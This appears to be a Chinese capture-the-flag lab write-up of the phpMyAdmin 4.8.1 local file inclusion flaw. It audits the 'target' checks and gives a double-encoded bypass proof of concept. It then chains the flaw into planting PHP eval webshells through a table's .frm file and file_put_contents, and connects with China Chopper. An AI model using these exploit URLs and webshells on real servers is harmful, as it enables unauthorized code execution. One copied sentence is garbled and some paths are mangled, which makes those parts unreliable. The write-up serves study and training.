[zkaq靶场]文件包含--(phpMyAdmin-4.8.1 )

文件包含

本地文件包含:LFI

远程文件包含:RFI(需要开启配置选项:allow_url_include=On)

靶场(phpMyAdmin-4.8.1 )

本地测试

审计

全局搜索include,发现一些可疑之处:

image-20210508160925538

具体代码是这一块:

image-20210508161303784

需要执行到include需要满足这个if条件。

我们可以来分析一下这个条件:

(! empty($_REQUEST['target'])//条件1
 is_string($_REQUEST['target'])//条件2
 ! preg_match('/^index/', $_REQUEST['target'])//条件3
 ! in_array($_REQUEST['target'], $target_blacklist)//条件4
 Core::checkPageValidity($_REQUEST['target'])//条件5

条件1:target传参不为空

条件2:target传参为字符串

条件3:target传参不是index开头

条件4:target传参不在$target_blacklist中,即target传参不在黑名单中。

条件5:target传参传入了checkPagevalidity()中。

定位到Core::checkPageValidity()

image-20210508163133084

需要这个方法返回true,有三个地方。

第一处需要 p a g e 也 就 是 t a r g e t 传 参 , 在 白 名 单 里 , 白 名 单 默 认 传 的 是 空 就 等 于 page也就是target传参,在白名单里,白名单默认传的是空就等于 pagetargetgoto_whitelist

来看第二个会true的地方,这里已经执行一段代码:

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );

mb_substr():截取字符串,可以截取中文

mb_substr(字符串,开始位置,长度)

mb_strpos():查找字符串在另一个字符串中首次出现的位置

mb_strpos($page . '?', '?')的意思就是查找问号的位置

这一整段的意思就是:截取$page字符串,直到问号(不包括问号)。

第三个返回true的地方先进行了一次url解码,之后还是需要在白名单里。

条件5的意思就是target传参问号之前的字符串需要在白名单中。

漏洞点:

前言知识点:

<?php
include("hjkfaf/../phpinfo.php");
?>

这段代码是没问题的,这样相对路径包含是可以的。hjkaf是不存在的文件夹,

但是不能存在问号(例如hjfkaksfa?fdfjsfh/…/phpinfo.php),因为问号在php中是用来传参的,如果include遇到问号就认为后面不再是路径,随即报错。我们不能让include的路径中出现问号。

但是在条件5最后返回true的这个地方,它进行了一次url解码。

问号?的url编码是%3F,再将%3F进行一次url编码变成%253F。最后构造成能绕过白名单检测的传参。

白名单:随便选一个就好。

image-20210508165638137

那么我们就懂了五个条件,接下来就可以构造满足条件的传参。

POC:
target=db_sql.php%253Fqqqqq/../

首先%253F被传入会自动进行一次url解码变成%3F,然后条件5再进行一次url解码变成?,即变成db_sql.php?qqqqq,这样是可以通过五个条件的。通过条件之后就是:

include db_sql.php%253Fqqqq/../

这样就能通过相对路径利用。

测试一下:

在phpMyAdmin-4.8.1的index.php同目录下放一个666.php,内容是phpinfo()。

可以利用:

http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/666.php

image-20210508181544671

靶场

登录其phpmyadmin后台,找到其MySQL的目录:

C:/phpStudy/MySQL/

image-20210508182437346

我们知道,在phpstudy中数据库中的库会被存放在MySQL/data目录下:

image-20210508182707721

这些文件夹都是已经存在的库。

表就是库文件夹下的frm文件:

frm文件中包含字段信息。

image-20210508183039186

image-20210508183130328

为了向服务器中写入木马,我们可以这样做。

新建一个库xxx,xxx库中新建一个表yyy,yyy中有一个字段是<?php eval($_REQUEST[6])?>

然后我们再去包含这个文件。

image-20210508183942800

包含试试:

http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/…/…/…/MySQL/data/xxx/yyy.frm&6=phpinfo();

成功包含:

image-20210508184438435

但是这样不能菜刀连接。

然后利用这个写入木马:

http://192.168.17.144/phpMyAdmin2/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253F/…/…/…/…/MySQL/data/xxx/yyy.frm&6=file_put_contents(“777.php”,"<?php eval($_REQUEST[777])?>");

image-20210508185502238

回到靶场

然后回到靶场这边,登录进其后台之后,建库,建表,写入木马。

C:/phpStudy/MySQL/

image-20210508191056261

写入一句话:

index.php?target=db_sql.php%253F/../../../../MySQL/data/xxx/yyy.frm&6=file_put_contents("777.php","<?php eval($_REQUEST[8])?>");

连接菜刀,找到flag:
image-20210508192005027

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值